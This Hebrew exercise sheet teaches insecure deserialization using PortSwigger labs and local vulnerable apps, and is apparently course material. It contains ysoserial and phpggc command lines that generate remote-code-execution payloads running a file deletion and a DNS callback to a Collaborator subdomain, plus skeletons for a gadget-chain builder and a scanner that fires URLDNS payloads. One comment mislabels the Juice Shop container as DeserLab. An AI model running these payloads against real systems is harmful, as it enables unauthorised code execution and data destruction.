דסריאליזציה מתקדמת - Java - תרגיל¶
תרגיל 1 - זיהוי דסריאליזציה¶
משימה¶
השלימו את המעבדה הבאה ב-PortSwigger:
Modifying serialized objects
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects
שלבים מנחים¶
- התחברו לאפליקציה ובדקו את ה-Cookies ב-Burp
- מצאו Cookie שמכיל נתונים מסורלזים (Base64 שמתחיל ב-
rO0ABאו PHP serialized) - פענחו את הנתונים וזהו את המבנה
- שנו את השדות כדי להסלים הרשאות
- קודדו מחדש ושלחו
תרגיל 2 - שינוי סוג נתונים¶
משימה¶
Modifying serialized data types
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types
שלבים מנחים¶
- בדקו את האובייקט המסורלז ב-Cookie
- שנו את סוג הנתונים של שדה מסוים (לדוגמה, ממחרוזת למספר)
- נצלו את ההשוואה הרופפת (loose comparison) שהשרת מבצע
- השיגו גישה לחשבון אדמין
תרגיל 3 - שימוש בפונקציונליות של האפליקציה¶
משימה¶
Using application functionality to exploit insecure deserialization
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization
שלבים מנחים¶
- מצאו פונקציונליות באפליקציה שמשתמשת בנתונים מהאובייקט המסורלז
- שנו את הנתיב בתוך האובייקט כדי למחוק קובץ קריטי
- הפעילו את הפונקציונליות שגורמת לשימוש בנתיב השונה
תרגיל 4 - injection אובייקט שרירותי¶
משימה¶
Exploiting Java deserialization with Apache Commons
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons
שלבים מנחים¶
- זהו שהאפליקציה משתמשת ב-Java serialization (Magic Bytes)
- הורידו את ysoserial
- נסו ליצור payload עם שרשרת CommonsCollections:
# Create a payload that performs a DNS lookup (for detection)
java -jar ysoserial-all.jar CommonsCollections4 "nslookup YOUR-SUBDOMAIN.burpcollaborator.net" | base64
# After confirming it works - a payload that deletes the user
java -jar ysoserial-all.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64
- החליפו את ה-Cookie בנתונים המסורלזים החדשים
- שלחו את הבקשה ובדקו שהפקודה הורצה
תרגיל 5 - שרשראות Gadget מותאמות¶
משימה¶
Exploiting Ruby deserialization using a documented gadget chain
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain
שלבים מנחים¶
- זהו את שפת התכנות שהשרת משתמש בה
- חפשו שרשרת Gadget מתועדת לשפה/ספרייה הספציפית
- בנו את ה-payload בהתאם
- קודדו ושלחו
תרגיל 6 - בניית Exploit מותאם¶
משימה¶
Developing a custom gadget chain for Java deserialization
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization
שלבים מנחים¶
- חפשו את קוד המקור של האפליקציה (לפעמים זמין ב-sitemap)
- נתחו את המחלקות הזמינות ב-classpath
- מצאו מחלקה עם
readObject()מותאם - עקבו אחרי שרשרת הקריאות עד שמוצאים דרך להריץ קוד
- בנו את האובייקט המסורלז ידנית:
import java.io.*;
import java.util.*;
public class CustomExploit {
public static void main(String[] args) throws Exception {
// TODO: build the Gadget chain
// Each class in the chain must be Serializable
// Serialize the payload
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(/* your gadget chain object */);
oos.close();
// Base64 encoding
String encoded = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(encoded);
}
}
תרגיל 7 - PHAR דסריאליזציה¶
משימה¶
Exploiting PHP deserialization with a pre-built gadget chain
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain
שלבים מנחים¶
- זהו שהאפליקציה משתמשת בפריימוורק PHP ספציפי
- השתמשו ב-phpggc כדי ליצור payload:
# List available chains
./phpggc -l
# Create a payload
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' -b
- מצאו דרך להעביר את ה-payload לדסריאליזציה (Cookie, פרמטר, קובץ)
תרגיל 8 - סקריפט סריקה¶
משימה¶
כתבו סקריפט Python שמזהה נקודות דסריאליזציה בבקשות HTTP:
#!/usr/bin/env python3
"""
Java Deserialization Endpoint Scanner
"""
import requests
import base64
import re
# Magic bytes of Java serialization
JAVA_MAGIC = b'\xac\xed\x00\x05'
JAVA_MAGIC_B64 = 'rO0AB'
def check_parameter(value):
"""Check whether a parameter value contains serialized data"""
# TODO: check:
# 1. Whether it starts with rO0AB (Base64 of Java magic bytes)
# 2. Whether after Base64 decode it starts with AC ED 00 05
# 3. Whether it looks like PHP serialized (O:4:"User":...)
# 4. Whether it looks like .NET ViewState
pass
def scan_request(method, url, headers, body):
"""Scan an HTTP request to detect deserialization"""
findings = []
# TODO: check:
# 1. Content-Type headers
# 2. Cookie values
# 3. URL parameters
# 4. POST body parameters
# 5. Custom headers
return findings
def test_deserialization(url, param, method="GET"):
"""Attempt exploitation with a URLDNS payload"""
# TODO:
# 1. Create a URLDNS payload with ysoserial
# 2. Send it in the vulnerable parameter
# 3. Check in the Collaborator whether a DNS request arrived
pass
דרישות¶
- הסקריפט צריך לקבל קובץ Burp XML export כקלט
- לסרוק את כל הבקשות ולזהות נתונים מסורלזים
- לנסות payload של URLDNS על כל נקודה שנמצאה
- להדפיס דוח עם הממצאים
תרגיל בונוס - מעבדה מקומית¶
משימה¶
הקימו מעבדה מקומית עם אפליקציה פגיעה:
# Run DeserLab - a dedicated deserialization lab
docker pull bkimminich/juice-shop
docker run -p 3000:3000 bkimminich/juice-shop
# Or run WebGoat
docker pull webgoat/webgoat
docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat
משימות¶
- מצאו את נקודת הדסריאליזציה באפליקציה
- זהו את הספריות ב-classpath
- נסו שרשראות שונות של ysoserial
- השיגו RCE
- תעדו את כל התהליך
סביבות תרגול נוספות¶
- PortSwigger: כל מעבדות ה-Deserialization (כולל Expert)
- HackTheBox: מכונות עם תגית Java/Deserialization
- TryHackMe: "Intro to Java Deserialization" room
- VulnHub: DeserLab